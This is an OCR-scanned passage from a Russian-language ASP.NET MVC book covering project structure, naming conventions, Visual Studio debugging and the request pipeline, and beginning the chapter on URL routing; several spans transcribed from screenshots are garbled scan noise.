На заметку! Как будет показано в главе 14, приложение МУС развертывается копированием большей части этой структуры папок на веб-сервер. Из соображений безопасности сервер IIS не обслуживает файлы, полный путь которых включает web.config, bin, App_code, App_GlobalResource, App_LocalResources, App_WebReferences, App_Data и App_Browsers, потому что в файле applicationHost. conf ig определены узлы <hiddenSegment>, скрывающие их. (Сервер IIS 6 также их не обслуживает, поскольку в нем имеется расширение ISAPI под названием aspnetlilter. dll, в котором жестко закодирована их фильтрация.) Аналогичнзу образом, сервер IIS сконфигурирован на фильтрацию запросов * . asax, * . ascx, * . sitemap, * . resx, * .mdb, * .mdf, *. Idf, *. csproj и ряда других.
Перечисленные выше файлы создаются автоматически при создании нового вебприложения ASP.NET MVC. Кроме того, есть и другие папки и файлы, которые имеют специальное назначение для ядра платформы ASP.NET. Все они описаны в табл. 7.2.
Таблица 7.2. Дополнительные файлы и папки, имеющие специальное назначение
Папка или файл	Назначение
/Арр GlobalResources /App_LocalResources /App_Browsers	Содержит файл ресурсов, используемый для локализации страниц WebForms. Подробнее о локализации будет рассказано в главе 15. Содержит XML-файлы . browser, описывающие способ идентификации специфических веб-браузеров и их возможности (например, поддерживают ли они сценарии JavaScript).
/App_Themes	Содержит “темы” WebForms (включая файлы . skin), которые влияют на визуализацию элементов управления WebForms.
Последние из перечисленных выше файлов являются частью платформы ASP.NET и не являются обязательными для приложений ASP.NET MVC. За дополнительной информацией об этом обращайтесь к документации по ASP.NET.
Соглашения об именовании
Вы должны были заметить, что в ASP.NET MVC предпочтение отдается соглашениям, а не конфигурации1. Это означает, например, что явно конфигурировать ассоциацию между контроллерами и их представлениями не потребуется; вы просто следуете определенным соглашениям об именовании, и все работает. (Честно говоря, вам придется конфигурировать довольно много настроек в файле web. config, но это в основном касается сервера IIS и ядра платформы ASP.NET.) Несмотря на то что о соглашениях об именовании уже упоминалось ранее, давайте вспомним основные положения.
•	Классы контроллера должны иметь имена, заканчивающиеся на Controller (например, ProductsController). Это жестко закодировано в Defaultcontroller Factory: если вы не будете соблюдать это соглашение, класс не будет распознан как контроллер, и запросы к нему направляться не будут. Обратите внимание, что при создании собственной фабрики IControllerFactory (см. главу 9) следовать этому соглашению не обязательно.
•	Шаблоны представлений (*.aspx, *.ascx) должны располагаться в папке /Views/имяКонтроллера. Не включайте сюда суффикс Controller — представления для ProductsController должны попасть в /Views/Products, а не в /Views/ProductsController.
1 Эта тактика (как и фраза) — одна из знаменитых маркетинговых деклараций Ruby on Rails.
Глава 7. Общее представление о проектах ASP.NET MVC 207
•	Представление по умолчанию для метода действия должно называться по имени самого метода действия. Например, представление по умолчанию для действия List контроллера ProductsController должно располагаться в /Views/ Products/List. aspx. В качестве альтернативы можно указать имя представления (например, возвращая ViewC'SomeView")), после чего будет производиться поиск /Views/Product/SomeView.aspx.
•	Когда представление по имени /Views/Products/Xyz . aspx обнаружить не удается, предпринимается попытка найти /Views/Products/Xyz . asex. Если и она не удается, ищется /Views/Shared/Xyz . aspx, а затем /Views/Shared/Xyz . asex. Это значит, что папку /Views/Shared можете использовать для хранения всех представлений, разделяемых между несколькими контроллерами.
Все соглашения, касающиеся папок и имен, могут быть переопределены с использованием специального механизма представлений. В главе 10 будет показано, как это делается.
Начальный скелет приложения
Как показано на рис. 7.1, вновь создаваемые проекты ASP.NET MVC не являются совершенно пустыми. Они уже оснащены встроенными контроллерами Homecontroller и Accountcontroller и несколькими ассоциированными с ними шаблонами представлений. В стандартные файлы проекта встроена довольно большая часть поведения.
1.	Контроллер Homecontroller может визуализировать начальную страницу (Ноте) и страницу с описанием приложения (About). Эти страницы генерируются с использованием мастер-страницы и темы с голубыми умиротворяющими тонами из файла CSS.
2.	Контроллер Accountcontroller позволяет посетителям регистрироваться и входить в приложение. Он использует аутентификацию Forms Authentication с cookie-наборами для отслеживания входа каждого пользователя и средство членства (membership) базовой платформы ASP.NET для ведения списка зарегистрированных пользователей. Когда кто-либо в первый раз пытается зарегистрироваться или войти в систему, средство членства создаст “на лету” файловую базу данных SQL Server Express. Если сервер SQL Server Express не установлен или не запущен, средство членства работать не будет.
3.	Контроллер Accountcontroller также включает действия и представления, которые позволяют зарегистрированным пользователям изменять свои пароли. Для этого также применяется средство членства ASP.NET.
Начальный скелет приложения представляет собой замечательное введение в устройство приложений ASP.NET MVC. Тем, кто только начинает работать с MVC Framework, он помогает увидеть интересные особенности сразу же после создания нового проекта.
Однако, маловероятно, что вы сохраните поведение по умолчанию без изменений. Исключением является ситуация, когда разрабатываемое приложение действительно использует средство членства ASP.NET (описанное более подробно в главе 15) для ведения учета зарегистрированных пользователей. Большинство новых проектов ASP.NET MVC можно начинать с удаления многих из этих файлов, как это делалось в главах 2 и 4.
Отладка приложений MVC и модульные тесты
Приложение ASP.NET MVC можно отлаживать точно так же, как традиционное приложение ASP.NET WebForms. Отладчик Visual Studio 2008 практически не изменился по сравнению с прежними версиями, поэтому если вы хорошо с ним знакомы, можете пропустить этот раздел.
208 Часть II. ASP.NET MVC во всех деталях
Запуск отладчика Visual Studio
Для запуска отладчика Visual Studio просто нажмите <F5> (или выберите пункт меню Debugs Start Debugging (ОтладкамНачать отладку)). Когда это делается первый раз, будет предложено включить отладку в файле Web. config (рис. 7.2).
Debugging Net Enacted	„.Я j
‘ The рзде сеппсс be run tn debug rr-ode because debugging is no: enabStd in the ‘/«'efexomg j ! fife A’hst -Л odd you like to do?
’	i®/ She ЙгеЬхапчд site to enable debugging.
Debugging should be disabled in the Webxorngfite betere deploying the J vVeb she to 2 production envircnrrent
	f
Run without debugging. ^Equivatent to Ctrt-F5i
I	.------- - - -------- —-	,:
CK	Cancel
Рис. 7.2. Приглашение Visual Studio включить отладку страниц WebForms
В случае выбора переключателя Modify the Web.config file to enable debugging (Модифицировать файл Web. config для включения отладки) Visual Studio обновит узел <compilation> файла Web.config:
<system.web>
«compilation debug="true">
</compilation>
</system.web>
Это значит, что шаблоны ASPX и ASCX будут компилироваться с отладочной информацией. Это не повлияет на возможность отладки кода контроллеров и действий, однако в Visual Studio принят именно такой подход. Как показано на рис. 7.3, предусмотрена отдельная настройка, которая влияет на компиляцию файлов . cs (например, кода контроллеров и действий) в самом графическом интерфейсе Visual Studio. Режим Debug (Отладка) должен выбираться вручную, так как Visual Studio не делает это автоматически.
и ' MyMvcApp - Microsoft Visual Studio
। File Edit ’Лел Project Build Debug Tools Test Window Help
| jl ’ :-i ’	..	*	> Debug --Any CPU
Release	D
Configuration Manager...
I	---- - - --------
Рис. 7.3. Для использования отладчика проект должен компилироваться в режиме Debug
На заметку! Для развертывания на рабочем веб-сервере должен использоваться код, скомпилированный в режиме Release (Выпуск). Вдобавок понадобится установить настройку Ccompilation debug="false"> в файле Web. config рабочего сайта. Причины этих действий будут подробно описаны в главе 14.
После этого Visual Studio запустит приложение с отладчиком, подключенным к встроенному веб-серверу WebDev. Webserver. ехе. Нужно будет только установить точку останова, как будет описано ниже (в разделе “Использование отладчика’’).
Глава 7. Общее представление о проектах ASP.NET MVC 209
Подключение отладчика к серверу IIS
Если вместо использования встроенного веб-сервера Visual Studio создаваемое приложение запускается на сервере IIS, функционирующем на машине разработки, отладчик можно подключить к IIS. В среде Visual Studio нажмите комбинацию <Ctrl+Alt+P> (или выберите пункт меню Debug^Attach to Process (ОтладкаФПрисоединиться к процессу}}. В открывшемся окне Attach to Process (Присоединиться к процессу), которое показано на рис. 7.4, отыщите работающий процесс по имени w3wp. ехе (для версии IIS 6 или 7) или aspnet wp. ехе (для версии IIS 5 или 5.1). После выбора соответствующего процесса щелкните на кнопке Attach (Присоединиться).
На заметку! Если рабочий процесс найти не удается, возможно, это потому, что вы имеете дело с IIS 7 или работаете через подключение к удаленному рабочему столу (Remote Desktop). В этом случае понадобится отметить флажок Show processes in all sessions (Показать процессы во всех сеансах). Также следует проверить, действительно ли запущен рабочий процесс, открыв приложение в веб-браузере и щелкнув на кнопке обновления в Visual Studio. В среде Windows Vista с включенным средством контроля учетных записей (UAC) система Visual Studio должна быть запущена в режиме повышения привилегий (если это не так, то после щелчка на кнопке Attach будет выдано соответствующее предупреждения).
Рис. 7.4. Присоединение отладчика Visual Studio к рабочему процессу I IS 6/7
Подключение отладчика к среде выполнения тестов
При выполнении большого объема модульного тестирования вы обнаружите, что запускаете код в среде выполнения тестов, подобной графической среде NUnit, почти так же часто, как и на веб-сервере. Если тест неожиданно дает сбой (либо вопреки ожиданиям проходит успешно), то вместо сервера IIS отладчик можно подключить к среде выполнения тестов. Удостоверьтесь, что код скомпилирован в режиме Debug, после чего в диалоговом окне Attach to Process (открывающемся по нажатию <Ctrl+Alt+P>) найдите процесс среды выполнения тестов в списке доступных процессов (рис. 7.5).
Дл-ейзЫе Processes
Process nctepad.exe	ID 2516	Title Untitied - Uc-tepsd	Type xSc
			
	3844		kS6
Рис. 7.5. Подключение отладчика Visual Studio к графической среде NUnit
210 Часть II. ASP.NET MVC во всех деталях
Обратите внимание, что в столбце Туре (Тип) показано, какие процессы выполняют управляемый код (т.е. код .NET). С помощью этого столбца можно быстро идентифицировать процессы, выполняющие ваш код.
Удаленная отладка
Если сервер IIS установлен и запущен на других ПК или серверах домена Windows, для которых настроены соответствующие полномочия отладки, можете ввести имя или IP-адрес компьютера в поле Qualifier (Квалификатор) и приступить к удаленной отладке. При отсутствии домена Windows измените значение в раскрывающемся списке Transport (Транспорт) на Remote (Удаленный) и выполняйте отладку по сети (предварительно сконфигурировав на целевой машине монитор удаленной отладки (Remote Debugging Monitor) для ее разрешения).
Использование отладчика
Как только отладчик Visual Studio присоединен к процессу, можно останавливать выполнение приложения и смотреть, что оно делает. Для этого поместите на нужную строку исходного кода точку останова (breakpoint), щелкнув на ней правой кнопкой мыши и выбрав в контекстном меню Breakpoints Insert breakpoint (Точка останова^Вставить точку останова), нажав <F9> или щелкнув в серой области слева от строки кода. Возел строки появится кружок красного цвета. Когда присоединенный процесс достигнет этой строки кода, отладчик остановит выполнение, как показано на рис. 7.6.
Отладчик Visual Studio — очень мощный инструмент. Он позволяет читать и модифицировать значения переменных (наводя на них курсор мыши или используя окно Watch (Слежение)), манипулировать потоком выполнения программы (перетаскивая стрелку желтого цвета) или выполнять произвольный код (вводя его в окне Immediate (Немедленное выполнение)). Кроме того, можно просматривать стек вызовов, дизассемблированный машинный код, список потоков выполнения и прочую информацию, отмечая соответствующие пункты в меню DebugSWindows (Отладка1^ Окна). За дополнительной справочной информацией по отладчику обращайтесь к специально посвященным этому ресурсам Visual Studio.
Глава 7. Общее представление о проектах ASP.NET MVC 211
Вхождение в исходный код .NET Framework
Существует одно малоизвестное средство отладчика, которое в 2008 г. неожиданно стало весьма удобным. Если приложение обращается к коду посторонней сборки, обычно нет возможности входить в исходный код этой сборки во время отладки (поскольку исходный код просто отсутствует). Однако если поставщик этой сборки опубликует код на сервере символов (symbol server), среду Visual Studio можно настроить так, чтобы она извлекала этот код на лету и отображала во время отладки.
С января 2008 г. Microsoft открыла общедоступный сервер символов, содержащий исходный код большинства библиотек .NET Framework. Теперь можно входить в исходный код System.Web.dll и других сборок ядра. Это исключительно полезно, когда вы сталкиваетесь с загадочной проблемой, решить которую не помогает даже Google. Сервер символов предоставляет больше информации, чем может обеспечить дизассемблирование с помощью Reflector — вы получаете доступ к оригинальному исходному коду со всеми комментариями (рис. 7.7).
Для настройки такого доступа понадобится среда Visual Studio 2008 SP1. Соответствующие инструкции можно найти по адресу referencesource.microsoft.com/ serversetup.aspx.
!. Fcrn.sAufhentkation.cs Mcdples HrancCentroiier.cs i	▼ X !
<* VSyrtem.’/e'eh.Secufrty.FotTnsAuthersti^ticri	▼ V SetAuthCookie'String	feoo! createPersistentCcofee, S
!;	-	- --> -c	:
11	Гйле* xet&c-s araates arssfiMicetic- -•«st	* >
for the.	aeerSsee san & Mackes sx - - sctFkxes	of the	\
ses.fCRSe, it tices perform a	г
 I public static voza SetA-ithCcckia (	aserSa^e, bool createPersistentOccfcie,	- str? f-
Inztxalixe(>;
HttpSontexr context = jittpCcntaxt.Current;
if	context.Request.ZsSectreCOEnecticn &S RequiteSSL)
threw new Et cpSxcepc ion f SR. Get String (SR. "cmect icr._r.ac_3eo-jjre_cr eat 2пд_зеоиге_соо] = bocl	ccokielese = CookieleBsHelperClass.UseCcokieless (ctKitsxt, false, CcokieM*. ?
HttpCcokie cookie = JetAutItCcokie	createSexsfsteptCookie, cockieless ' '
|	"hf used «яте | - ‘Steve’
if i‘cookieless) <
HttpContext. -Carrent. Response.Cookies .lidd (cockle);	- •
ii'	•“	-------	, :
j V-'.jsrf; £	й Э4 LaS ’ • -	4g 3- X ,
i < Name	Itejue	Type	Name	Lans *• j
 - •-		c.	System. Wd>.de?S?ste5?»A7efc.Seas:rty.fb-n-eAi-,d’ent<atop.SebAC^	.•
;	System.Web.dil’Sysbsm.SSris.SKirfity.FbrsfsAutheniEaSon.Se^ Cs <
\	|Вг.;ггИе,''>*>ГАппХягактЙ1=гч.Н»чрГлп}Сй
ji.iH	Stack '«	-.‘for
|| Ready	Ln 4® Cd 13	Ch 13	'
Рис. 7.7. Вхождение в исходный код средства Forms Authentication в Microsoft ASRNET
На заметку! В Microsoft решили предоставить возможность даже свободно загружать исходный код ASP.NET MVC, что позволяет его компилировать (и модифицировать) самостоятельно. Однако это не касается исходного кода библиотек .NET Framework — доступ к нему можно получить только через сервер символов Microsoft во время отладки. Загрузить исходный код библиотек .NET Framework целиком и скомпилировать самостоятельно нельзя.
Вхождение в исходный код ASP.NET MVC
Поскольку исходный код ASP.NET MVC доступен для свободной загрузки целиком, в решение можно включить исходный код System.Web.Mvc (как если бы он был создан вами). После этого во время отладки с помощью пункта меню Go to Declaration (Перейти
212 Часть II. ASP.NET MVC во всех деталях
к объявлению) в Visual Studio вы сможете переходить по любой ссылке из написанного исходного кода к исходному коду платформы. Это может сэкономить массу времени при определении причин некорректной работы приложения.
Настроить такой доступ нетрудно, если помнить о нескольких возможных проблемах и способах их решения. После выхода в печать этой книги инструкции на этот счет могут претерпеть изменения, поэтому ищите актуальную информацию в блоге автора по адресу http://tinyurl.com/debugMvc.
Конвейер обработки запросов
Выше был представлен обзор проектов ASP.NET MVC с точки зрения среды разработки Visual Studio. Теперь давайте рассмотрим, что в действительности происходит во время обработки процессами MVC Framework каждого входящего запроса.
Конвейер обработки запросов ASP.NET MVC сравним с жизненным циклом страницы в ASP.NET WebForms в том смысле, что он отражает внутреннюю организацию системы. Хорошее его понимание совершенно необходимо в ситуациях, когда применяются какие-то нестандартные подходы. В отличие от жизненного цикла традиционной страницы ASP.NET, конвейер MVC чрезвычайно гибок: любую его часть можно модифицировать по собственному усмотрению; можно даже вообще реорганизовать или заменить компоненты. Обычно расширять или изменять этот конвейер не требуется, но делать это можно — именно на этом основана всесторонняя расширяемость ASP.NET MVC. Например, при разработке приложения SportStore был реализован специальный фабричный интерфейс IControllerFactory для создания экземпляров контроллеров через контейнер 1оС.
На рис. 7.8 показано представление конвейера обработки запросов. Центральная вертикальная линия обозначает стандартный конвейер ASP.NET MVC (для запросов, визуализирующих представление), а боковые ответвления символизируют основные точки расширяемости.
На заметку! Чтобы не слишком усложнять картину, на диаграмме не показаны все события и точки расширения. Самое важное, что не показано — фильтры, которые можно внедрять перед и после выполнения методов действий, а также перед и после выполнения результатов действий (включая ViewResults). Например, в главе применялся фильтр [Authorize] для обеспечения безопасности и контроллера. Дополнительные сведения о том, куда должны подставляться фильтры, вы узнаете далее в этой главе.
В оставшейся части главы приводится более подробное описание конвейера обработки запросов. Затем в главах 8, 9 и 10 каждый из основных компонентов рассматривается по очереди, давая исчерпывающее представление о средствах и возможностях ASP.NET MVC.
Стадия 1: сервер I IS
Информационные службы Интернета (Internet Information Services — IIS), реализующие производственный веб-сервер Microsoft, играют центральную роль в конвейере обработки запросов. При поступлении каждого HTTP-запроса и перед активизацией ASP.NET драйвер устройства Windows режима ядра по имени HTTP. SYS анализирует запрошенную комбинацию URL/номер порта/1Р-адрес, сопоставляет ее со списком приложений и передает зарегистрированному приложению (которым является либо веб-сайт IIS, либо виртуальный каталог внутри веб-сайта IIS).
Глава 7. Общее представление о проектах ASP.NET MVC 213
Входящий запрос HTTP
Базовый механизм маршрутизации (UrlRoutingModule)
IIS/ASP.NET
Специальный обработчик маршрутизации
Г Совпядаюттфзипиедмие 1 i______яообмружей
Специальный обработчик (IHttpHandler)
Совпадающий элемент маршрутизации (в RouteTable.Routes)
Запись непосредственно в НТТР-ответ
Выполнение ActionResult
Не odbcitr
Нестандартный контроллер
(IController)
Маршрутизация MVC Framework’ (MvcRouteHandler)
Фабрика контроллеров (DefaultControllerFactory ИЛИ г специальный iControllerFactory)
Обычный контроллер (унаследованный от Controller)
Ваш метод действия
Возврат результата действия (ActionResult)
Специальный механизм представлений (IViewEngine)
Механизм представлений
Ваше представление WebForm
Визуализация представления WebForm
Рис. 7.8. Конвейер обработки запросов ASP.NET MVC
214 Часть II. ASP.NET MVC во всех деталях
Поскольку приложения ASP.NET MVC построены на основе платформы ASP.NET, она должна быть включена для этого пула приложений IIS (каждое приложение IIS назначается в определенный пул). Включать ASP.NET можно в одном из двух управляемых режимах конвейера.
•	В режиме ISAPI, который также называется классическим режимом, ASP.NET вызывается через расширение (aspnet__isapi . dll)2, ассоциированное с определенными расширениями имен файлов в URL (например, . aspx, . ashx, .mvc). В IIS 6 можно настроить отображение по шаблону, так что aspnet_isapi. dll будет отображать все запросы, независимо от расширения имени файла в URL. Более подробные сведения о развертывании приложений MVC Framework на сервере IIS 6, включая настройку отображения по шаблону, можно найти в главе 14.
•	В интегрированном режиме (поддерживаемом только в IIS 7+), .NET является естественной частью конвейера обработки запросов IIS, так что никаких расширений ISAPL ассоциированных с определенным расширением имени файла в URL. не понадобится. Это облегчает использование конфигураций маршрутизации с чистыми URL (т.е. без расширений имен файлов).
В любом случае, как только ASRNET получает входящий запрос, каждый зарегистрированный модуль HTTP уведомляется о начале нового запроса. (Модуль HTTP — это класс .NET, реализующий интерфейс IHttpModule, который можно “подключить” к конвейеру обработки запросов ASP. NET.)
Одним из важных модулей HTTP, регистрируемых по умолчанию в любом приложении ASRNET MVC, является UrlRoutingModule. Этот модуль представляет собой начало базовой системы маршрутизации, которая рассматривается ниже. Наличие узла <httpModules> в файле web.config говорит о том, что этот модуль зарегистрирован для IIS 6:
<system.web>
<httpModules>
<add name="UrlRoutingModule" type="System.Web.Routing.UrlRoutingModule, ..." /> </httpModules>
</system.web>
Если вы имеете дело с IIS 7, откройте его графический интерфейс Modules (Модули). Для этого дважды щелкните на элементе Администрирование панели управления, затем в открывшемся окне дважды щелкните на элементе Диспетчер служб I IS, в дереве слева выберите свой веб-сайт и затем дважды щелкните на значке Модули. В открывшемся графическом интерфейсе Модули можно отредактировать узел <system.webServer>/<modules> из web. config (рис. 7.9).
Стадия 2: базовая маршрутизация
Когда модуль UrlRoutingModule вовлекается в обработку запроса, запускается система маршрутизации System.Web.Routing. Задача маршрутизации состоит в распознавании и разборе произвольных шаблонов входящих URL, с установкой структуры данных контекста запроса, которой будут пользоваться последующие компоненты (например, в ASRNET MVC эта структура служит для передачи управления соответствующему классу контроллера MVC и для передачи параметров методам действий).
2 API-интерфейс служб Интернета (Internet Services API — ISAPI) — это старая система подключаемых модулей IIS. Расширения ISAPI можно создавать только в неуправляемом коде (например, C/C++).
Глава 7. Общее представление о проектах ASP.NET MVC 215
Modules
Use this feature to configure the native and managed cede modules that precess requests made to the Web sensei.
-----------
edit Managed Module
H|} Name:
M:	'	i
H;
q|; Ьре-
pj  Svstem.iVeb.R.cuting.UrlRcutingMcdufe^ 5ystern.Web.Routing, ¥ersion=3 ♦ i
41
'	Jtv> eke cniy for reauests to ASP.NET applications cr managed handlers
M’	—.....-	—.......—. I
	GK	Cancel
8J;__	~	----------;~-i
Ur9ifeppin^.McCs.fe ' ’ ’ ’ ' Sjistem.vicO.'OnMajjpKiy-Jvtv,^ Managua
UtjRcutmgMcdute	S>stem.Web.RcutingAIrIRoutL. Managed
^ndGV/sAuthen&zation biStem.Web Security. Window... Managed
Рис. 7.9. Редактирование модуля UrlRoutingModule в графическом интерфейсе Modules
На рис. 7.8 видно, что во время базовой маршрутизации сначала производится проверка, соответствует ли входящий URL какому-то файлу на диске. Если да, то маршрутизация завершается, и дальнейшая обработка этого запроса поручается серверу IIS. Для статических файлов (например, .gif. .jpeg, .png, .css или . j s) это означает, что сервер IIS обработает их естественным образом (потому что они существуют на диске), что очень эффективно. Аналогично, это означает; что традиционные страницы . азрх ASP.NET WebForms также будут обработаны обычным образом (поскольку они также присутствуют на диске).
Однако если входящий URL не соответствует никакому файлу на диске (например, запросы к контроллерам MVC, представляющим собой типы .NET, а не файлы на диске), то для выяснения способа обработки входящего URL на стадии базовой маршрутизации анализируется активная конфигурация.
Конфигурация маршрутизации
Конфигурация маршрутизации содержится в статической коллекции по имени System. Web. Routing. RouteTable. Routes. Каждый ее элемент представляет собой отдельный шаблон URL с необязательными заполнителями для параметров (например, /blog/ {уеаг} / {entry}) и ограничениями, которые лимитируют диапазон допустимых значений каждого параметра. Каждый элемент также специфицирует обработчик маршрута— объект, реализующий IRouteHandler, — который получает и обрабатывает запрос. Обычно коллекция RouteTable .Routes заполняется добавлением кода к методу по имени RegisterRoutes () в файле Global. азах. cs.
Чтобы сопоставить входящие запросы с определенными элементами RouteTable. Routes, система базовой маршрутизации просто начинает с начала коллекции RouteTable. Routes и просматривает список вниз, выбирая первый элемент, который соответствует входящему запросу. Найдя такой элемент, маршрутизация передает управление объекту-обработчику, указанному для этого элемента, передавая ему структуру данных “контекста запроса", которая описывает выбранный элемент RouteTable.Routes, и все значения параметров, переданные в URL. Здесь вступает в действие MVC Framework, что мы и рассмотрим далее.
Более детальные сведения о системе маршрутизации предлагаются в главе 8.
216 Часть II. ASP.NET MVC во всех деталях
Стадия 3: контроллеры и действия
Итак, система маршрутизации выбрала определенный элемент RouteTable. Routes и разобрала все параметры маршрутизации из URL. Она упаковала эту информацию в структуру, именуемую контекстом запроса. Когда же на сцену выходят контроллеры и действия?
Поиск и вызов контроллеров
Для приложений ASP.NET MVC почти все элементы RouteTable. Routes специфицируют один определенный обработчик маршрута — MvcRouteHandler. Это встроенный в ASP.NET MVC стандартный обработчик маршрутов, служащий мостом между основной маршрутизацией и собственно MVC Framework. Обработчику MvcRouteHandler известно, как получить данные контекста запроса и вызвать соответствующий класс контроллера.
Как показано на рис. 7.8, это делается с помощью объекта фабрики контроллеров. По умолчанию используется встроенная фабрика по имени DefaultControllerFactory, которая при определении корректного класса контроллера для каждого конкретного запроса следует определенным соглашениям об именовании и о пространствах имен. Однако если вы замените встроенный DefaultControllerFactory каким-то другим объектом, реализующим интерфейс IControllerFactory, или подклассом DefaultControllerFactory, то сможете изменить эту логику. Такой подход уже применялся в главе 4 при включении контейнера 1оС в конвейер обработки запросов.
Что должны делать контроллеры
Минимальное требование к классу контроллера состоит в том, что он должен реализовать интерфейс IController:
public interface IController
{
void Execute(Requestcontext requestcontext);
}
Как видите, интерфейс довольно прост. На самом деле он не специфицирует ничего помимо того, что контроллер должен что-то сделать (т.е. реализовать Execute ()). Обратите внимание, что параметр requestcontext предоставляет все данные контекста запроса, сконструированного системой маршрутизации, в том числе параметры, которые извлечены из URL. Кроме того, requestcontext предоставляет доступ к объектам Request и Response.
Что обычно делают контроллеры
Чаще всего интерфейс IController не реализуется непосредственно. Вместо этого создаваемые классы контроллеров наследуются от Sy stem. Web. Mvc. Controller. Это встроенный стандартный класс контроллера MVC Framework, который добавляет дополнительную инфраструктуру для обработки запросов. Что более важно, он вводит в систему методы действий. Это значит, что каждый из общедоступных методов класса контроллера может быть вызван через некоторый URL (такие общедоступные методы называются методами действий), и это значит, что реализовывать Execute () вручную не понадобится.
Хотя методы действий могут посылать вывод непосредственно в HTTP-ответ, поступать так не рекомендуется. Из соображений тестируемости и повторного использования кода (о котором речь пойдет ниже) для методов действий лучше возвращать результат
Глава 7. Общее представление о проектах ASP.NET MVC 217
действия (объект, унаследованный от ActionResult), который описывает желаемый вывод. Например, если необходимо визуализировать представление, вернуть следует ViewResult. Каркас MVC затем позаботится о выполнении результата в соответствующий момент в конвейере обработки запросов.
Существует также очень гибкая система фильтров. Это атрибуты .NET (например, [Authorize]), которыми можно "пометить” класс контроллера или метод действия, внедряя подобным образом дополнительную логику, которая будет выполняться перед или после методов действий либо перед или после выполнения результатов действий. Существует даже встроенная поддержка специальных типов фильтров (фильтров исключений и фильтров авторизации), активизируемых в определенные моменты времени. Фильтры могут появляться в настолько разных местах, что все их даже не удалось показать на рис. 7.8.
Контроллеры и действия (а также связанные с ними средства) образуют несущую конструкцию MVC Framework. Дополнительные сведения о них вы узнаете в главе 9.
Стадия 4: результаты действий и представления
К настоящему времени уже много чего произошло. Давайте подытожим.
•	Система маршрутизации сопоставила входящий URL со своей конфигурацией и подготовила структуру данных — контекст запроса. Соответствующий элемент RouteTable .Route выбрал MvcRouteHandler для обработки запроса.
•	Обработчик MvcRouteHandler использовал данные контекста запроса с фабрикой контроллеров для выбора и вызова класса контроллера.
•	Класс контроллера вызвал один из своих методов действий.
•	Метод действия вернул объект ActionResult.
В этой точке MVC Framework запросит выполнение объекта ActionResult и на этом все. ActionResult выполнит то, что должен делать тип ActionResult (т.е. вернет строку или данные JSON в браузер, произведет перенаправление HTTP, потребует аутентификации и т.п.). В главе 9 вы узнаете о встроенных типах ActionResult, а также о том, как создавать собственные специальные типы.
Визуализация представления
Особое внимание стоит уделить одному подклассу ActionResult — ViewResult. Он занимается поиском и визуализацией определенного шаблона представления, попутно передавая структуру данных ViewData, которая сконструирована методом действия. Это делается вызовом механизма представлений (класса .NET, реализующего IViewEngine), назначенного контроллером.
Механизм представлений по умолчанию называется WebFormViewEngine. Его шаблоны представлений — это страницы ASPX WebForms (т.е. серверные страницы, используемые ASP.NET WebForms). Страницы WebForms имеют собственный конвейер обработки, который начинает с компиляции “на лету” ASPX/ASCX и проходит через ряд событий, известных под общим названием жизненный цикл страницы. В отличие от традиционных WebForms, эти страницы должны быть предельно простыми, потому что при четком разделении ответственности MVC шаблоны представлений не должны делать ничего кроме генерации HTML-разметки. Это означает, что детально разбираться в жизненном цикле страниц WebForms не нужно. Четкое разделение ответственности способствует простоте и сопровождаемости кода.
218 Часть II. ASP.NET MVC во всех деталях
На заметку! Чтобы разработчики MVC не включали в представления ASPX обработчики событий в стиле WebForms, эти представления обычно вообще не имеют соответствующих классов отделенного кода. Тем не менее, создавать такие классы в файле отделенного кода можно, создав в Visual Studio обычную форму Web Form в соответствующем месте представления и затем унаследовав этот класс отделенного кода не от System.web.Ul.Раде, а от ViewPage (или от viewPage<T> для некоторого типа модели Т). Однако заниматься трюкачеством подобного рода не рекомендуется.
Разумеется, можно реализовать собственный тип IViewEngine, полностью заменив механизм представления WebForms. В главе 10 будет дана исчерпывающая информация о представлениях, в частности, о механизме представлений WebForms, а также о некоторых альтернативных и специальных механизмах представлений.
Резюме
В этой главе обзор приложений ASP.NET MVC был представлен с двух точек зрения.
•	С точки зрения структуры проекта было показано, как работают шаблоны проектов MVC Visual Studio, и каким образом файлы кода организованы по умолчанию. Вы узнали о том, какие файлы, папки и соглашения об именовании являются рекомендованными, а какие — обязательными для данного каркаса. Вы также ознакомились с особенностями отладки приложений ASP.NET MVC в Visual Studio.
•	С точки зрения исполняющей системы было показано, как ASP.NET MVC обрабатывает входящие HTTP-запросы. Был описан весь конвейер, начиная с определения соответствия маршрута, активизации контроллеров и действий, и заканчивая шаблонами представлений, которые посылают готовую HTML-разметку обратно в браузер. (Это лишь поведение по умолчанию; не существует пределов гибкости в реорганизации конвейера, добавлении, изменении или удалении компонентов. Платформа MVC Framework предлагает разработчикам полный контроль над каждым своим действием.)
Благодаря следующим трем главам ваши пока поверхностные знания превратятся в глубокое и всестороннее понимание каждой составной части ASP.NET MVC. Егава 8 посвящена маршрутизации. В главе 9 описаны контроллеры и действия, а в главе 10 — представления. Вы узнаете обо всех доступных вариантах и о том, как наилучшим способом использовать каждое доступное средство.
ГЛАВА 8
URL и маршрутизация
В основе маршрутизации, реализованной в ASP.NET WebForms и многих других платформах веб-приложений, лежит принцип прямого соответствия URL файлам на жестком диске сервера. Сервер выполняет и обслуживает страницу или файл, соответствующий входящему URL. В табл. 8.1 приведен пример.
Таблица 8.1. Традиционное соответствие URL файлам на диске
Входящий URL	Может соответствовать
http://mysite.com/default.aspx	e:\webroot\default.aspx
http://mysite.com/admin/login.aspx	e:\webroot\admin\login.aspx
http://mysite.com/articles/AnnualReview	Файл не найден! Послать сообщение об ошибке 404.
Такое четкое соответствие легко понять, но в то же время оно сильно ограничивает. Почему имена файлов и структура каталогов проекта должны быть представлены на всеобщее обозрение? Разве это не детали внутренней реализации? И что делать с этими неуклюжими расширениями . aspx? Понятно, что и для конечного пользователя они не стишком удобны.
Традиционно на платформе ASP.NET разработчик вынужден был трактовать URL как "черный ящик”, не уделяя никакого внимания структуре URL или поисковой оптимизации (search engine optimization — SEO). Распространенные обходные пути, наподобие специальных обработчиков ошибки 404 и ISAPI-фильтров перезаписи URL, могут оказаться трудными в настройке и привносят с собой собственные проблемы.
Возвращение программисту контроля над программой
Платформа ASP.NET MVC отличается тем, что URL больше не рассматриваются как прямые соответствия файлам на веб-сервере. Фактически это даже не имело бы смысла. так как запросы ASP.NET MVC обрабатываются классами контроллеров (скомпилированными в сборки .NET), то нет никакого соответствия между конкретными файлами и входящими URL.
Программисты получают полный контроль над схемой URL. т.е. набором приемлемых URL и их отображением на контроллеры и действия. Эта схема не ограничена каким-то предопределенным шаблоном и не должна включать расширений имен файлов .ьти имен классов и файлов кода. Пример показан в табл. 8.2.
220 Часть II. ASP.NET MVC во всех деталях
